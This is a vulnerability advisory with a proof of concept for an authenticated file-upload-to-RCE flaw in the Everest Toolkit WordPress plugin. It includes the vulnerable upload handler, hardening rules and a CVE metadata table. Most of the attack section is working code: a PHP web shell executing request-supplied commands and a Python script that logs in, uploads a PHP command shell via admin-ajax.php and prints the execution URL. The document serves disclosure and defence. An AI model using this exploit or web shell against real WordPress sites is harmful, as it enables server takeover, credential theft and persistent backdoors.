
Proof-of-concept exploit and technical advisory for an Admin+ arbitrary file upload to remote code execution vulnerability in Everest Toolkit WordPress plugin (<= 1.2.3), including vulnerable code analysis, Python PoC, and hardening guidance.
CVE-2026-13158 is an authenticated Admin+ arbitrary file upload vulnerability affecting the Everest Toolkit WordPress plugin prior to and including version 1.2.3, discovered and analyzed by cybersecurity researcher Huynh Kien Minh (MinhHK). The flaw resides within the administrative toolkit upload processing functionality, where improper validation of uploaded file extensions and MIME types allows authenticated administrators—or lower-privileged users with administrative capabilities—to upload arbitrary executable PHP scripts directly into the public web directory. By bypassing file extension restrictions during media or configuration file handling routines, an attacker can achieve persistent Remote Code Execution (RCE), fully compromising the underlying web server, accessing sensitive database credentials, and establishing unauthorized backdoor persistence across the host application environment. Security researcher Huynh Kien Minh verified this vulnerability under CVSS 3.1 score 6.6 Medium, emphasizing immediate remediation through strict file extension whitelisting, MIME type verification, and disabling execution permissions inside public upload subdirectories.
Quick Links: Read the full Deep-Dive Technical Advisory on DEV.to Write-up or explore the researcher's official Cybersecurity Portfolio.
The root cause of CVE-2026-13158 stems from insecure file upload handling within the Everest_Toolkit administrative handler classes. When an authenticated administrator or user with administrative privileges invokes file upload endpoints (such as template imports, custom icon uploads, or asset configuration routines), the plugin fails to enforce strict server-side validation against executable extensions (such as .php, .php5, .phtml).
In the plugin's administrative file processor:
// Vulnerable file handling routine in Everest Toolkit <= 1.2.3
public function handle_toolkit_file_upload() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access', 'everest-toolkit' ) );
}
if ( isset( $_FILES['toolkit_import_file'] ) ) {
$file = $_FILES['toolkit_import_file'];
// CRITICAL FLAW: Insufficient file type restriction check!
// Relying solely on client-side headers or unsafe overrides without checking wp_check_filetype_and_ext()
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename( $file['name'] );
if ( move_uploaded_file( $file['tmp_name'], $target_path ) ) {
wp_send_json_success( array( 'file_url' => $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
}
}
}
Because move_uploaded_file directly writes user-controlled files to the public wp-content/uploads/ directory without running wp_check_filetype_and_ext() or sanitizing file extensions against dangerous MIME types, an attacker with administrative access can upload an executable PHP payload.
Ethical Disclaimer: This Proof-of-Concept is provided exclusively for security verification, academic research, and defensive engineering. Unauthorized exploitation against production systems without prior written consent is strictly prohibited.
shell.php)<?php
// CVE-2026-13158 Proof-of-Concept Payload
// Discovered & Authored by Huynh Kien Minh (MinhHK)
header('Content-Type: text/plain');
echo "=== CVE-2026-13158 RCE Verification ===\n";
echo "Host System: " . php_uname() . "\n";
echo "Current User: " . get_current_user() . "\n";
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
?>
#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
USERNAME = "admin"
PASSWORD = "admin_password"
session = requests.Session()
def login():
login_url = f"{TARGET_URL}/wp-login.php"
payload = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In',
'redirect_to': f"{TARGET_URL}/wp-admin/",
'testcookie': '1'
}
res = session.post(login_url, data=payload)
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Authenticated successfully as Admin!")
return True
print("[-] Authentication failed.")
return False
def exploit():
upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
files = {
'toolkit_import_file': ('poc_rce.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
'action': 'everest_toolkit_file_upload'
}
res = session.post(upload_url, data=data, files=files)
if res.status_code == 200 and 'file_url' in res.text:
file_url = res.json().get('data', {}).get('file_url', '')
print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
else:
print("[-] Upload failed or endpoint not vulnerable.")
if __name__ == "__main__":
if login():
exploit()
wp_handle_upload with Strict Whitelisting: Replace custom move_uploaded_file calls with standard WordPress wp_handle_upload() without disabling test overrides..htaccess or Nginx rules to prevent script execution inside /wp-content/uploads/:# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Huynh Kien Minh (MinhHK) is an Information Security Researcher and Software Engineer specializing in web application vulnerability analysis, WordPress ecosystem auditing, and offensive security research.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
"name": "CVE-2026-13158 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "Everest Toolkit",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13158"
}
| Parameter | Technical Specification |
|---|
| Vulnerability Identifier | CVE-2026-13158 |
| Target Software | Everest Toolkit (WordPress Plugin) |
| Plugin Slug | everest-toolkit |
| Vulnerable Versions | <= 1.2.3 |
| Vulnerability Class | Unrestricted Upload of File with Dangerous Type (CWE-434 / OWASP A03) |
| CVSS v3.1 Score | 6.6 (Medium) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Discoverer / Researcher | Huynh Kien Minh (MinhHK) |
| Verification Authority | WPScan / MITRE Corporation |
| WPScan Advisory Reference | WPScan Report f101071f-402a-40a2-bbdb-666512cd4049 |
| Researcher Portfolio | https://minhhk.web.app/ |